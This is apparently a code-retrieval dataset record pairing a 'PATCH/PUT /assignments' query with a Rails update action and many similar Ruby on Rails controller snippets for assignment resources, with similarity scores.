"def create\n @task_assignment = TaskAssignment.new(params[:task_assignment])\n \n respond_to do |format|\n if @task_assignment.save\n format.html { redirect_to(@task_assignment, :notice => 'Task assignment was successfully created.') }\n format.xml { render :xml => @task_assignment, :status => :created, :location => @task_assignment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task_assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @assigned = Assigned.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assigned }\n end\n end",
"def assignment_params\n params.require(:assignment).permit(:description, :name)\n end",
"def create\n @event_assignment = EventAssignment.new(event_assignment_params)\n\n respond_to do |format|\n if @event_assignment.save\n format.html { redirect_to @event_assignment, notice: 'Event assignment was successfully created.' }\n format.json { render :show, status: :created, location: @event_assignment }\n else\n format.html { render :new }\n format.json { render json: @event_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @assignments = Assignment.all\n end",
"def index\n @assignments = Assignment.all\n end",
"def index\n @assignments = Assignment.all\n end",
"def index\n @assignments = Assignment.all\n end",
"def assignment_params\n params.require(:assignment).permit(:name, :teacher_id, :date, grades_attributes:\n [:id, :assignment_id, :student_id, :score, :_destroy])\n end",
"def create\n @assignment = Assignment.new(params[:assignment])\n @assignment.notification_type = params[:notification_type].to_s\n @assignment.user = User.find(current_user)\n @courses = Course.where(:user_id => @assignment.user)\n \n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def assignment_params\n params.require(:assignment).permit(:no, :reference, :text, :status_id, :duedate, :user_id, :comment, :community_id, :assignment_status_id, :close_date)\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @assignment }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @assignments }\n end\n end",
"def assignment_params\n params.require(:assignment).permit(:game_id, :employee_id, :role)\n end",
"def create\n\t\t@activities = params[:guest][:activity_ids]\n assignment = Assignment.new(params[:guest_id], params[:activity_id])\n\n @activities.each do |a|\n if a != \"\"\n @assignment = Assignment.create(:guest_id => params[:assignments][:guest_id], :activity_id => a)\n # assigned_activity = Assignment.create(:guest_id => params[:guest_id], :activity_id => params[:activity_id])\n end\n end\n\n if @assignment.save\n flash[:notice] = \"Activity assigned.\"\n redirect_to guests_path\n else \n @message = \"Activity not assigned.\"\n end\n\n # redirect_to guests_path\n end",
"def as_json(assignments)\n assignments.map {|assignment| serialize_assignment(assignment) }\n end",
"def create\n\t\t#render plain: params[:assignment].inspect\n\t\t@assignment = Assignment.new(assignment_params)\n\n#Save assignment if requirements met, else refresh the page.\n\t\tif (@assignment.save)\n\t\t\tredirect_to @assignment\n\t\telse\n\t\t\trender 'new'\n\t\tend \n\tend",
"def create\n AssignmentNotifier.create(@assignment)\n end",
"def create\n @case_assignment = CaseAssignment.new(case_assignment_params)\n\n respond_to do |format|\n if @case_assignment.save\n format.html { redirect_to @case_assignment, notice: 'Case assignment was successfully created.' }\n format.json { render :show, status: :created, location: @case_assignment }\n else\n format.html { render :new }\n format.json { render json: @case_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def assignment\n # Create assignment\n Relationship.create(assignment_parameters)\n \n # Get human readable assignment values\n @assignment_parts = assign_parts(params)\n end",
"def create\n @assignment = Assignment.new(assignment_params)\n\n if @assignment.save\n redirect_to @teacher_index_path, notice: 'Assignment was successfully created.'\n else\n render :new\n end\n end",
"def create_permission_set_assignment(id:, **args)\n params = parameters(args) do\n required_params :user_id\n optional_params :user_id\n end\n request(:post, \"permissionSets/#{id}/assignments\", params)\n end",
"def assignments=(value)\n @assignments = value\n end",
"def assignments=(value)\n @assignments = value\n end",
"def assignments=(value)\n @assignments = value\n end",
"def assignments=(value)\n @assignments = value\n end",
"def assignments=(value)\n @assignments = value\n end",
"def create\n @assignment = Assignment.new(assignment_params)\n respond_to do |format|\n @assignment.user_mengajukan = current_user.id\n if @assignment.save\n @get = Assignment.last\n format.html { redirect_to detail_assignments_path(@get.id), notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def assigned_params\n params.require(:assigned).permit(:grantor, :grantee, :relation, :can_grant)\n end",
"def create\n @ingredient_assignment = IngredientAssignment.new(params[:ingredient_assignment])\n\n respond_to do |format|\n if @ingredient_assignment.save\n format.html { redirect_to @ingredient_assignment, notice: 'Ingredient assignment was successfully created.' }\n format.json { render json: @ingredient_assignment, status: :created, location: @ingredient_assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ingredient_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activity_participant_assignment = ActivityParticipantAssignment.new(activity_participant_assignment_params)\n\n respond_to do |format|\n if @activity_participant_assignment.save\n format.html { redirect_to @activity_participant_assignment, notice: 'Activity participant assignment was successfully created.' }\n format.json { render :show, status: :created, location: @activity_participant_assignment }\n else\n format.html { render :new }\n format.json { render json: @activity_participant_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @assignment_standard_assignment = Assignment::StandardAssignment.new(params[:assignment_standard_assignment])\n\n respond_to do |format|\n if @assignment_standard_assignment.save\n format.html { redirect_to @assignment_standard_assignment, notice: 'Standard assignment was successfully created.' }\n format.json { render json: @assignment_standard_assignment, status: :created, location: @assignment_standard_assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment_standard_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group_assignment = GroupAssignment.new(group_assignment_params)\n\n respond_to do |format|\n if @group_assignment.save\n format.html { redirect_to @group_assignment, notice: \"Group assignment was successfully created.\" }\n format.json { render :show, status: :created, location: @group_assignment }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @group_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @assignment = @course.assignments.new(params[:assignment])\n @assignment.save\n @outline = Outline.where(\"course_id = ?\", @course.id).all\n @outline.empty? ? i = 1 : i = @outline.sort_by {|x| x.order_number}.last.order_number += 1\n @content = Outline.new(:course_id => @course.id, :content_type => 'Assignment', :order_number => i, :content_id => @assignment.id)\n @content.save\n @users = User.enrolled(@course)\n @users.each do |u|\n @enrollment = Enrollment.where(:user_id => u.id, :course_id => @course.id).first\n Homework.create(:enrollment_id => @enrollment.id, :assignment_id => @assignment.id, :user_id => u.id)\n end\n \n respond_to do |format|\n if @assignment.save\n format.html { redirect_to edit_course_path(@course), notice: 'Assignment was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def create\n @group_assignment = GroupAssignment.new(group_assignment_params)\n\n respond_to do |format|\n if @group_assignment.save\n format.html { redirect_to @group_assignment, notice: 'Group assignment was successfully created.' }\n format.json { render :show, status: :created, location: @group_assignment }\n else\n format.html { render :new }\n format.json { render json: @group_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @assignment_status = AssignmentStatus.new(params[:assignment_status])\n\n respond_to do |format|\n if @assignment_status.save\n format.html { redirect_to @assignment_status, notice: 'Assignment status was successfully created.' }\n format.json { render json: @assignment_status, status: :created, location: @assignment_status }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def assignment_params\n params.require(:assignment).permit(:name, :basic_info, :course_id, :due)\n end",
"def create\n @assignment = Assignment.new(assignment_params)\n @plan = Plan.find(params[:plan_id])\n @assignment.plan_id = @plan.id\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to plan_path(@plan), notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @assignment = Assignment.new\n @assignment.build_assignment_stat\n @assignment.build_submission_rule\n @assignment.transaction do\n begin\n @assignment, new_required_files = process_assignment_form(@assignment)\n @assignment.token_start_date = @assignment.due_date\n @assignment.token_period = 1\n rescue Exception, RuntimeError => e\n @assignment.errors.add(:base, e.message)\n new_required_files = false\n end\n unless @assignment.save\n @assignments = Assignment.all\n @sections = Section.all\n @clone_assignments = Assignment.where(vcs_submit: true)\n .order(:id)\n render :new\n return\n end\n if params[:persist_groups_assignment]\n clone_warnings = @assignment.clone_groupings_from(params[:persist_groups_assignment])\n unless clone_warnings.empty?\n clone_warnings.each { |w| flash_message(:warning, w) }\n end\n end\n if @assignment.save\n flash_message(:success, I18n.t('assignment.create_success'))\n end\n if new_required_files && !MarkusConfigurator.markus_config_repository_hooks.empty?\n # update list of required files in all repos only if there is a hook that will use that list\n UpdateRepoRequiredFilesJob.perform_later(current_user)\n end\n end\n redirect_to action: 'edit', id: @assignment.id\n end",
"def new\n if !current_user.instructor?(@course)\n return\n end\n\n @assignment = Assignment.new\n @assignment.name = \"New Assignment\"\n @assignment.reviews_required = 4\n\n if @course.get_students.length <= 4\n @assignment.reviews_required = @course.get_students.length - 1\n end\n\n if @assignment.reviews_required <= 0\n @assignment.reviews_required = 0\n end\n\n @assignment.manual_assignment = true\n @assignment.draft = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end",
"def assignment_params\n params.require(:assignment).permit(:number)\n end",
"def assignments\n\t\t@course = Course.find(params[:id])\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.json\n\t\tend\n\tend",
"def index\n @assignments = Assignment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assignments }\n end\n end",
"def create\n\t\t@assignment = Assignment.new(params[:assignment])\n\t\t@course = @assignment.course\n\t\t\n\t\t# Check permissions\n\t\tif (not @current_user.courses.include?(@course)) && (not @current_user.is_administrator?)\n\t\t\tredirect_to root_path, notice: \"Access Denied\"\n\t\t\treturn\n\t\tend\n\t\t\n\t\trespond_to do |format|\n\t\t\tif @assignment.save\n\t\t\t\tLogsController.createAssignment(@current_user, @assignment)\n\n\t\t\t\tformat.html { redirect_to course_path(@course), :flash => {:success => \"Assignment was successfully created.\"}}\n\t\t\telse\n\t\t\t\t@assignment_types = @course.assignment_types\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\tend\n\t\tend\n\tend",
"def assignment_params\n params.require(:assignment).permit(:assignment_id, :assignment_name, :details, :priority, :date_created, :date_due, :is_complete, :grade_received, :select_course)\n end",
"def new\n @assignment = Assignment.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end",
"def goto_assignments\n goto_controller('Assignments')\n end",
"def create\n # transform dates from string to DateTime\n params[:assignment].strptime_params! ['due', 'late']\n \n files = params[:assignment][:files]\n\n # remove extra params\n params[:assignment].select!{ |key, val| not ['files'].include? key }\n\n # save any added files\n @assignment = Assignment.new(params[:assignment])\n \n respond_to do |format|\n if @assignment.save\n # add assignment to related section\n @section.assignments << @assignment\n @section.save\n format.html { redirect_to section_assignment_path(@section, @assignment), notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n\t\t@assignments = Assignment.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @assignments }\n\t\tend\n\tend",
"def post\n frm.button(:value=>\"Post\").click\n AssignmentsList.new(@browser)\n end",
"def create\n unless current_user.instructor?(@course)\n return\n end\n if params[:assignment][:submission_due_date].blank? or params[:assignment][:review_due_date].blank?\n flash[:error] = 'Please fill in dates.'\n redirect_to :back\n return\n end\n\n\n if params['assignment']['submission_due_time(4i)']\n params['assignment']['submission_due_time'] = params['assignment']['submission_due_time(4i)'] + ':' + params['assignment']['submission_due_time(5i)']\n params['assignment'].delete 'submission_due_time(1i)'\n params['assignment'].delete 'submission_due_time(5i)'\n params['assignment'].delete 'submission_due_time(2i)'\n params['assignment'].delete 'submission_due_time(3i)'\n params['assignment'].delete 'submission_due_time(4i)'\n params['assignment'].delete 'submission_due_time(5i)'\n end\n\n if params['assignment']['review_due_time(4i)']\n params['assignment']['review_due_time'] = params['assignment']['review_due_time(4i)'] + ':' + params['assignment']['review_due_time(5i)']\n params['assignment'].delete 'review_due_time(1i)'\n params['assignment'].delete 'review_due_time(5i)'\n params['assignment'].delete 'review_due_time(2i)'\n params['assignment'].delete 'review_due_time(3i)'\n params['assignment'].delete 'review_due_time(4i)'\n params['assignment'].delete 'review_due_time(5i)'\n end\n\n @assignment = Assignment.new(params[:assignment])\n @assignment.course_id = @course.id\n @assignment.draft = true\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to [@course, @assignment] }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @assignment = Assignment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end",
"def new\n @assignment = Assignment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end",
"def create_assignments\n self.assignments.each do |a|\n #want to keep the history of responses even if the question no longer applies.\n #it could be that the question was answered in a prior rotation.\n a.destroy unless a.responded\n end\n assigned_users = User.scoped\n assigned_users =assigned_users.where(:rotation => self.rotation)unless rotation == nil\n assigned_users =assigned_users.where(:year => self.year) unless year == nil\n make_assignments(assigned_users)\n clear_old_assignments\n end",
"def new\n @task = Task.find(params[:task_id])\n @project = @task.project\n @assignment = @task.assignments.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end"
] |
[
"0.69719887",
"0.6878845",
"0.68722147",
"0.6866222",
"0.68636656",
"0.68479973",
"0.68240887",
"0.6803592",
"0.6741433",
"0.6729679",
"0.6649603",
"0.6641474",
"0.660345",
"0.6590609",
"0.6520075",
"0.648458",
"0.6479206",
"0.64735156",
"0.6472296",
"0.6467634",
"0.64431983",
"0.6438507",
"0.6409793",
"0.6397845",
"0.6394725",
"0.6356379",
"0.6342175",
"0.6339373",
"0.6334282",
"0.6329087",
"0.6325042",
"0.6313746",
"0.6294981",
"0.62709945",
"0.6264898",
"0.62278163",
"0.6219849",
"0.6219481",
"0.6211884",
"0.62084544",
"0.617978",
"0.61743474",
"0.61641186",
"0.6161159",
"0.6127088",
"0.61263025",
"0.61199415",
"0.6117374",
"0.61168194",
"0.61043495",
"0.61043495",
"0.61043495",
"0.61043495",
"0.60740757",
"0.60709333",
"0.60671276",
"0.606129",
"0.60591483",
"0.60579765",
"0.60530037",
"0.6049509",
"0.6048268",
"0.6040148",
"0.60392725",
"0.6027017",
"0.60212135",
"0.60206926",
"0.6017294",
"0.6017294",
"0.6017294",
"0.6017294",
"0.6017294",
"0.60082734",
"0.60062534",
"0.60054743",
"0.60043085",
"0.60013837",
"0.5976961",
"0.5976785",
"0.5976249",
"0.5976208",
"0.5970113",
"0.59685755",
"0.59682465",
"0.5961355",
"0.5957815",
"0.594642",
"0.59260833",
"0.59217894",
"0.5915694",
"0.59119314",
"0.59088296",
"0.5907564",
"0.58941525",
"0.5893901",
"0.58897114",
"0.58873004",
"0.58873004",
"0.5884967",
"0.58800423"
] |
0.6078574
|
53
|
PATCH/PUT /assignments/1 PATCH/PUT /assignments/1.json
|
def update
# raise assignment_params.inspect
respond_to do |format|
if @assignment.update(assignment_params)
format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @assignment.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, :notice => 'Assignment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @assignment.update(assignment_params)\n render json: @assignment, status: :ok\n else\n render json: @assignment.errors, status: :unprocessable_entity\n end\n end",
"def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, :notice => 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => 'edit' }\n format.json { render :json => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n authorize! :update, @assignment\n respond_to do |format|\n if @assignment.update(assignment_params)\n format.html { redirect_to project_task_assignments_path(@project,@task), notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n url = project_task_assignment_path(@project,@task,@assignment)\n set_users\n @users << @assignment.user\n format.html { render action: 'edit' }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @assignment.update(assignment_params)\n format.html { redirect_to assignments_path, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @assignment.update(assignment_params)\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @assignment }\n else\n format.html { render :edit }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @assignment.update(assignment_params)\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @assignment }\n else\n format.html { render :edit }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @assignment.update(assignment_params)\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @assignment }\n else\n format.html { render :edit }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @assignment.update(assignment_params)\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @assignment }\n else\n format.html { render :edit }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @assignment.update(assignment_params)\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @assignment }\n else\n format.html { render :edit }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assigned = Assigned.find(params[:id])\n\n respond_to do |format|\n if @assigned.update_attributes(params[:assigned])\n format.html { redirect_to @assigned, notice: 'Assigned was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assigned.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @assignment.update(assignment_params)\n render :show, status: :ok\n else\n render json: @assignment.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @assignment.update(assignment_params)\n format.html {redirect_to @assignment, notice: 'Assignment was successfully updated.'}\n format.json {render :show, status: :ok, location: @assignment}\n else\n format.html {render :edit}\n format.json {render json: @assignment.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n # Find the assignment and update it\n entry = Relationship.find(params[:id])\n entry.update_attributes(assignment_parameters)\n \n @active=\"assignments\"\n redirect_to \"/manage\"\n end",
"def update\n @assignment_status = AssignmentStatus.find(params[:id])\n\n respond_to do |format|\n if @assignment_status.update_attributes(params[:assignment_status])\n format.html { redirect_to @assignment_status, notice: 'Assignment status was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task_assignment.update(task_assignment_params)\n format.html { redirect_to @task_assignment, notice: 'Task assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @task_assignment }\n else\n format.html { render :edit }\n format.json { render json: @task_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assignment_special_assignment = Assignment::SpecialAssignment.find(params[:id])\n\n respond_to do |format|\n if @assignment_special_assignment.update_attributes(params[:assignment_special_assignment])\n format.html { redirect_to @assignment_special_assignment, notice: 'Special assignment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment_special_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assignment.status = params[:status]\n @assignment.save!\n head :no_content\n end",
"def update\n params[:shift].delete(:employee)\n @assignment = Assignment.find(params[:id])\n @assignment.attributes = params[:assignment]\n @assignment.start_date = Chronic.parse(params[:assignment][:start_date])\n @assignment.end_date = Chronic.parse(params[:assignment][:end_date])\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assignment = Assignment.find(params[:assignment_id])\n respond_to do |format|\n if @solution.update(solution_params)\n format.html { redirect_to @solution, notice: 'Solution was successfully updated.' }\n format.json { render :show, status: :ok, location: @solution }\n else\n format.html { render :edit }\n format.json { render json: @solution.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assignment_standard_assignment = Assignment::StandardAssignment.find(params[:id])\n\n respond_to do |format|\n if @assignment_standard_assignment.update_attributes(params[:assignment_standard_assignment])\n format.html { redirect_to @assignment_standard_assignment, notice: 'Standard assignment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment_standard_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @task_assignment = TaskAssignment.find(params[:id])\n \n respond_to do |format|\n if @task_assignment.update_attributes(params[:task_assignment])\n format.html { redirect_to(@task_assignment, :notice => 'Task assignment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task_assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @assignment = Assignment.find_by_id(params[:id])\n @assignments = Assignment.all\n @sections = Section.all\n\n begin\n new_required_files = false\n @assignment.transaction do\n @assignment, new_required_files = process_assignment_form(@assignment)\n @assignment.save!\n end\n if new_required_files && !MarkusConfigurator.markus_config_repository_hooks.empty?\n # update list of required files in all repos only if there is a hook that will use that list\n UpdateRepoRequiredFilesJob.perform_later(current_user)\n end\n flash_message(:success, I18n.t('assignment.update_success'))\n redirect_to action: 'edit', id: params[:id]\n rescue SubmissionRule::InvalidRuleType => e\n @assignment.errors.add(:base, t('assignment.error', message: e.message))\n flash_message(:error, t('assignment.error', message: e.message))\n render :edit, id: @assignment.id\n rescue\n render :edit, id: @assignment.id\n end\n end",
"def update\n respond_to do |format|\n @getParent = Assignment.find(params[:id])\n @getHistory = HistoryAssignment.where(parent_assignment_id: @getParent.parent_id).select('id').last\n if @getHistory.present?\n HistoryAssignment.update(@getHistory.id, status_info: \"terkonfirm\")\n end\n \n if @assignment.update(assignment_params)\n format.html { redirect_to detail_assignments_path(params[:id]), notice: 'Assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @assignment }\n else\n format.html { render :edit }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @patient_assignment = PatientAssignment.find(params[:id])\n\n respond_to do |format|\n if @patient_assignment.update_attributes(params[:patient_assignment])\n format.html { redirect_to @patient_assignment, notice: 'Patient assignment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patient_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update_attributes(params[:project])\n # The user just updated the project, we need to update the proposed state for this assignment if needed\n @project.assignments.where(user_id: current_user.id).first.update_attributes(params[:project][:assignment])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @assignment = return_if_assignment_exists?\n if @assignment.update_attributes(assignment_params)\n UserMailer.assignment_updated(current_user).deliver\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # transform dates from string to DateTime\n params[:assignment].strptime_params! ['due', 'late']\n\n files = params[:assignment][:files]\n\n # remove extra params\n params[:assignment].select!{ |key, val| not ['files'].include? key }\n\n @assignment = Assignment.find(params[:id])\n \n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to section_assignment_path(@section, @assignment), notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to(event_assignment_url(@assignment), :notice => 'Assignment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @assignment = Assignment.find(params[:id])\n @task = @assignment.task\n @project = @task.project\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n flash[:notice] = 'The assignment was successfully updated.'\n format.html { redirect_to project_task_path(@project,@task) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n flash[:notice] = 'Assignment was successfully updated.'\n format.html { redirect_to(edit_cim_hrdb_person_path(@assignment.person)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @assignment.update(params[:assignment].permit(:title, :description, :draft_deadline, :final_deadline, :comment_deadline, :description2,\n :is2group, positions_attributes:[:id, :title, :_destroy],\n comment_forms_attributes:[:id, :name, :group_number, :question1, :question2, :question3, :question4, :hint1, :hint2, :hint3, :hint4]))\n format.html { redirect_to assignments_path, notice: 'Assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @assignment }\n else\n format.html { render :edit }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:group_id])\n @assignment = @group.assignments.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to [:teacher, @group], notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ingredient_assignment = IngredientAssignment.find(params[:id])\n\n respond_to do |format|\n if @ingredient_assignment.update_attributes(params[:ingredient_assignment])\n format.html { redirect_to @ingredient_assignment, notice: 'Ingredient assignment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ingredient_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @exceller_assignment.update(exceller_assignment_params)\n format.html { redirect_to @exceller_assignment, notice: 'Exceller assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @exceller_assignment }\n else\n format.html { render :edit }\n format.json { render json: @exceller_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @assignments = args[:assignments] if args.key?(:assignments)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end",
"def update!(**args)\n @assignments = args[:assignments] if args.key?(:assignments)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end",
"def update!(**args)\n @assignments = args[:assignments] if args.key?(:assignments)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end",
"def update\n respond_to do |format|\n if @student_assignment.update(student_assignment_params)\n format.html { redirect_to @student_assignment, notice: 'Student assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @student_assignment }\n else\n format.html { render :edit }\n format.json { render json: @student_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle_assignment.update(vehicle_assignment_params)\n format.html { redirect_to @vehicle_assignment, notice: (t 'vehicle_assignments.title')+(t 'actions.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vehicle_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
